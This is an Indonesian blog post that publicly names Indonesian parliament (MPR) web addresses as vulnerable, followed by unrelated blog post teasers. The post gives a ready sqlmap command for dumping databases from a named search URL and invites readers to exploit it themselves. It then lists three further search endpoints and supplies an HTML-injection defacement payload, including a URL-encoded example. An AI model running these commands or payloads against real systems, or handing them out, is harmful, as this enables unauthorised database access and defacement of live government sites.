Website Majelis Perwakilan Rakyat (MPR) Vulnerable

Apa itu Sql Injection dan HTML Injection??.

SQLI singkatnya adalah teknik yang menyalahgunakan celah yang terjadi dalam lapisan database aplikasi atau website.

HTML Injection sebenarnya masih kakak adek dengan Cross Site Scripting (XSS). yaitu celah keamanan untuk menginjeksi kode HTML ke dalam halaman website...lob loh...buat apa kaka?...(baca: guugel.com)

kemungkinan teman-teman sudah tidak asing dengan method (metode) tersebut, jadi langsung saja tanpa basah basah basi...cokicokicroot.

A. ppid.mpr.go.id SQL Injection

1. akses website :

ppid.mpr.go.id/id

2. arahkan ke url :

https://ppid.mpr.go.id/berita/semuaberita?cari=

3. pastinya kita perlu mencheck respon dari webs tersebut apakah true atau false, dengan memasukan tanda (').

4. Tinggal mengeseks_usi dengan SQLMAP

command sqlmap :

python sqlmap.py -u https://ppid.mpr.go.id/berita/semuaberita?cari=12 --dbs --random-agent --flush-session --technique=BEUS --time-sec=2 --tamper=space2comment --ignore-proxy --dbms=mysql

5. Silahkan mengeseks_usi sendiri...cokicokicroot

B. HTML Injection Domain mpr.go.id

Domain Vulnerable :

1. https://jdih.mpr.go.id/halaman/cari?q=

2. https://www.mpr.go.id/halaman/cari?q=

3. https://v1.mpr.go.id/halaman/cari?q=

4. Injeksi Kodenya

"><marquee><center><font face="courier new" color="green">Ngehek By Ceeroot</font></marquee>"

contoh :

https://www.mpr.go.id/halaman/cari?q=%3Cmarquee%3E%3Ccenter%3E%3Cfont%20face=%22courier%20new%22%20color=%22green%22%3ENgehek%20By%20Ceeroot%3C/font%3E%3C/marquee%3E

Komentar

Postingan populer dari blog ini

Tahun 2024, BKN Tidak Melakukan Pendataan Ulang Non-ASN

Berdasarkan Peraturan Pemerintah Nomor 49 Tahun 2018 tentang Manajemen PPPK yang mengharuskan status kepegawaian di lingkungan Instansi Pemerintah terdiri dari dua jenis kepegawaian yaitu PNS dan PPPK hingga tanggal 28 November 2023, Proses Pendataan Non-ASN telah berhasil diselesaikan pada bulan Oktober 2022. Pendataan ini merupakan langkah tindak lanjut untuk memetakan kondisi pegawai non-ASN dan membantu penyusunan strategi kebijakan terkait pegawai honorer. Pada tahap finalisasi yang berlangsung pada 31 Oktober 2022, masing-masing instansi melakukan pengecekan terakhir atau finalisasi akhir pendataan tenaga Non-ASN, serta menerbitkan Surat Pertanggungjawaban Mutlak (SPTJM) sebagai hasil akhir pendataan. Selanjutnya, hasil pendataan Non-ASN telah disampaikan kepada masing-masing Pejabat Pembina Kepegawaian (PPK) instansi pemerintah, dan tenaga honorer dapat mengecek hasilnya pada masing-masing Biro SDM/BKD/BKPSDM/BKPP. Dalam amanat Pasal 65 Undang-Undang No. 20 Tahun 2023 tentang Ap...

Baca Selengkapnya »

Bagian mana di tubuhmu yang tak pernah ku nikmati.

Hangatnya cinta mu kini dingin membeku. Semua rasa mu bagaikan telah mati untukku. Aku bertanya-tanya namun tidak pernah jua mendapatkan jawaban. Aku masih dengan harapan yang sama saat pertama kali mencintai dan mengagumi mu dari jauh. Mengkhayal kan tentangmu sampai bermimpi mengenai dirimu yang telah pergi. Hanya satu yang sempat ku sesali, kenapa aku bisa terlena oleh cerita mu. Sampai aku begitu peduli hingga aku berjanji dalam diriku untuk bagaimana membuat mu bahagia. Aku begitu mencintaimu sampai aku tertipu oleh ceritamu. Aku begitu peduli dengan kesedihanmu, sampai aku terjebak oleh keadaan dimana saat kita mulai menjalin cinta, kau hadirkan masa lalu mu dalam perjalanan kisah cinta kita, namun aku tak pernah peduli. Asal hal itu bisa membuat mu bahagia aku terima kisah ku dijadikan sebagai pelampiasan mu. Setapak demi setapak aku mencintaimu. Terpenjara oleh keinginan memilikimu. Menjadi orang yang terpenting dalam hidupmu hingga aku sempat berpikir untuk melenyapkan dirimu ...

Baca Selengkapnya »

Mengeksplorasi Jejak Sejarah: 10 Situs Web untuk Mencari Sumber Naskah di Zaman Kolonialisme di Indonesia

Indonesia, dengan warisan sejarah yang kaya dan kompleks, telah melalui masa kolonialisme yang panjang yang telah membentuk perkembangan politik, sosial, dan budayanya. Untuk memahami lebih dalam tentang periode kolonialisme ini, penting bagi peneliti, sejarawan, dan masyarakat umum untuk memiliki akses yang luas terhadap sumber-sumber naskah dan dokumen yang relevan. Di era digital ini, banyak lembaga dan institusi telah memperluas akses terhadap koleksi mereka melalui platform daring. Dalam artikel ini, kami akan menjelajahi sepuluh situs web yang menyediakan sumber-sumber naskah di zaman kolonialisme di Indonesia. 1. Arsip Nasional Republik Indonesia (ANRI): Sebagai rumah bagi banyak dokumen bersejarah, ANRI memiliki koleksi yang mencakup periode kolonialisme di Indonesia. Dari arsip foto hingga catatan resmi pemerintah kolonial, situs web ANRI menawarkan akses yang berharga bagi mereka yang ingin mempelajari lebih lanjut tentang masa lalu Indonesia. 2. Perpustakaan Nasi...

Baca Selengkapnya »

Legenda Ramses II: Kepemimpinan, Keluarga, dan Warisan Mesir Kuno

Lorong-lorong sejarah Mesir Kuno, sebuah nama bersinar terang: Ramses II, atau yang lebih dikenal sebagai Ramses yang Agung. Dengan masa pemerintahan yang panjang dan prestasi yang mengagumkan, Ramses II telah menjadi salah satu firaun terkenal dalam sejarah peradaban manusia. Dalam artikel ini, kita akan menjelajahi kehidupan, kepemimpinan, keluarga, dan warisan yang ditinggalkan oleh Ramses II, memperdalam pemahaman kita tentang sejarah Mesir Kuno dan peran pentingnya dalam perkembangan peradaban manusia. Ramses II, putra Firaun Seti I dan Ratu Tuya, dilahirkan pada sekitar tahun 1303 SM di Mesir Kuno. Kepemimpinan tampaknya sudah tertanam dalam darahnya, karena ia naik tahta sebagai firaun pada usia yang relatif muda, mengambil alih takhta setelah kematian ayahnya. Kenaikan kekuasaannya pada sekitar tahun 1279 SM, dan dari situlah dimulai perjalanan panjangnya sebagai salah satu firaun terbesar yang pernah ada. Salah satu aspek paling mencolok dari pemerintahan Ramses II adalah kebe...

Baca Selengkapnya »

Untuk Yang Pergi Selamanya

Untuk mu yang memutuskan pergi, sudah sejauh itu ternyata kau pergi. Bahkan menoleh sedikitpun kebelakang saja kau tak pernah, sesingkat itu kamu lupa akan hal-hal tentang kita dulu? Tentang aku dan kamu yang punya tujuan bahagia bareng, tentang kita yang tak pernah ingin sama-sama kehilangan, tentang aku yang takut kamu pergi dan tentang kamu yang sangat takut aku hilang. Apapun tentang kita dulu, kita adalah dua orang yang sangat takut kehilangan satu sama lain. Tapi aku juga harus sadar diri dan tidak mau memaksa kehendak mu, jika dengan meninggalkan ku, adalah kebahagiaan mu, maka lakukanlah. Mampu atau tidaknya aku tanpamu biarlah menjadi urusanku dengan tuhan ku. Apa kau tahu kedatangan mu dulu merubah dunia serta diriku. Dan cintaku padamu melebihi cintaku pada diriku sendiri, tapi pada akhirnya cinta yang pernah kau singgahkan dalam hatiku kini telah menjadi luka dan trauma. Aku tak pernah menjanjikan kebahagiaan kepadamu. Tapi ke...

Baca Selengkapnya »

Cempaka Education

Cari Blog Ini